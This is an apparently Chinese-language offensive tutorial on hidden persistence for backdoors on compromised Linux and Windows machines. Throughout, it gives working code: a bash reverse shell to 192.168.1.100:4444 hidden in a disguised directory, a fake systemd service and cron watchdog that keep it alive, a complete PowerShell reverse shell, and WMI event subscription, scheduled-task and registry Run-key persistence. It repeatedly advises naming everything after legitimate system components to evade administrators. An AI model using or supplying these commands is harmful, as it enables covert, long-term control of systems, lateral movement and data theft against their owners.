目录
一、Linux 持久化与恢复方案
1. 后门脚本部署
-
目标:部署一个反向 Shell 脚本,并将其隐藏在系统不易引起怀疑的位置。
-
操作步骤:
-
创建隐藏目录与脚本
建议将脚本放在一个伪装成系统更新或日志相关的目录中:mkdir -p /usr/local/lib/.sysupdater cat << 'EOF' > /usr/local/lib/.sysupdater/rshell.sh #!/bin/bash # 反向Shell: 请替换成你的攻击机IP及监听端口 bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 EOF chmod +x /usr/local/lib/.sysupdater/rshell.sh
-
注意事项
- 将目录名和脚本名设计成类似合法系统组件(如 sysupdater、logupdate 等),降低被管理员注意的风险。
-
2. Systemd 服务持久化
-
目标:利用 Systemd 服务,在系统启动时自动执行反向 Shell。
-
操作步骤:
-
创建伪装的服务文件
文件名称可以模仿系统日志或系统监控服务,如systemd-syslogd.service
:cat << 'EOF' > /etc/systemd/system/systemd-syslogd.service [Unit] Description=System Logging Service After=network.target [Service] ExecStart=/usr/local/lib/.sysupdater/rshell.sh Restart=always RestartSec=30 [Install] WantedBy=multi-user.target EOF
-
启用并启动服务
执行以下命令,确保服务随系统启动并自动重启:systemctl daemon-reload systemctl enable systemd-syslogd.service systemctl start systemd-syslogd.service
-
3. 定时任务监控与恢复
- 目标:万一服务被终止,利用 Cron 定时检查服务状态并重启,确保持久化效果。
- 操作步骤:
此任务每 5 分钟检测一次服务状态,若服务未运行,则自动重启。cat << 'EOF' > /etc/cron.d/sysupdater_watch */5 * * * * root systemctl is-active --quiet systemd-syslogd.service || systemctl restart systemd-syslogd.service EOF
二、Windows 持久化与恢复方案
在 Windows 环境中,较流行的隐蔽持久化手段包括利用 WMI 事件订阅、隐藏式计划任务以及注册表启动项。下面给出两种详细方案,其中 WMI 事件订阅的隐蔽性较高。
1. WMI 事件订阅持久化
【步骤 1】准备 Payload
- 目标:编写一个反向连接的 PowerShell 脚本,并存储在目标系统中(例如:
C:\Windows\Temp\payload.ps1
)。 - 示例 Payload(请修改其中的 IP 与端口):
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() } $client.Close();
【步骤 2】创建 WMI 事件过滤器
- 操作:在命令提示符(管理员权限)下执行:
该过滤器设置为每 60 秒检测一次系统时间变化,触发条件相对隐蔽。wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WinEventFilter", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
【步骤 3】创建 WMI 事件消费者
- 操作:
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WinCmdConsumer", CommandLineTemplate="powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1", RunInteractively=FALSE
【步骤 4】绑定过滤器与消费者
- 操作:
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name='WinEventFilter'", Consumer="CommandLineEventConsumer.Name='WinCmdConsumer'"
【验证持久化】
- 查看 WMI 事件订阅是否生效:
wmic /namespace:\\root\subscription PATH __EventFilter list brief wmic /namespace:\\root\subscription PATH CommandLineEventConsumer list brief
特点:
- 利用 Windows 内置的 WMI 服务,几乎不会在常规安全监控中引起怀疑。
- 事件触发条件可以根据需要调整,确保 payload 在系统重启或特定事件下自动恢复。
2. 隐藏式计划任务持久化
【步骤 1】准备 Payload
- 同上,将 payload 脚本保存为
C:\Windows\Temp\payload.ps1
。
【步骤 2】创建计划任务
- 操作:利用
schtasks
创建一个隐蔽的任务:
该任务每 5 分钟执行一次,任务名称“System Maintenance”常见且不易引起怀疑。schtasks /create /sc minute /mo 5 /tn "System Maintenance" /tr "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1" /F
【验证任务】
- 使用以下命令查看任务状态:
schtasks /query /tn "System Maintenance"
3. 注册表 Run 键持久化
【操作步骤】
-
添加启动项:在目标用户登录时自动触发 payload:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SysUpdater" /t REG_SZ /d "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1" /f
-
验证:
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SysUpdater"
注意:虽然这种方法简单,但注册表项的变化可能会被安全产品监控到,建议与其他手段配合使用以增强隐蔽性。
三、总体技术思路总结
- 隐蔽持久化:目标在于在目标系统中部署一个后门,并通过系统自带的服务管理(Linux:Systemd + Cron;Windows:WMI 事件订阅、计划任务或注册表 Run 键)确保系统重启或后门被终止时能够自动恢复控制。
- 恢复机制:所有方法均设计为自动检测服务/进程状态,并在发现中断时重新启动后门 payload,从而保证长期控制。
- 伪装与隐蔽:命令、文件名、任务名称、服务名称均伪装成合法或系统组件,降低被安全工具或管理员发现的风险。
- 灵活性:提供多种方案以适应不同系统环境,互为补充,确保即使一种方法被防护措施识别或移除,其他方法仍能恢复控制。
四、总结
- Linux 环境:利用隐藏目录存放反向Shell脚本,通过 Systemd 服务和 Cron 定时监控实现隐蔽持久化。
- Windows 环境:主要推荐 WMI 事件订阅持久化,辅以计划任务与注册表启动项方法,均可实现隐蔽且自动恢复的远程连接。
- 总体技术思路:构建一个自动自愈的后门体系,确保在内网渗透后,即使受到一定的检测或中断,也能迅速恢复对目标系统的控制,从而保证后续横向移动、数据窃取或其他渗透测试活动的连续性。
这种分平台、分手段的详细方案能够帮助你在实战中根据目标环境选择最适合的持久化与恢复策略,达到长期隐蔽控制的目的。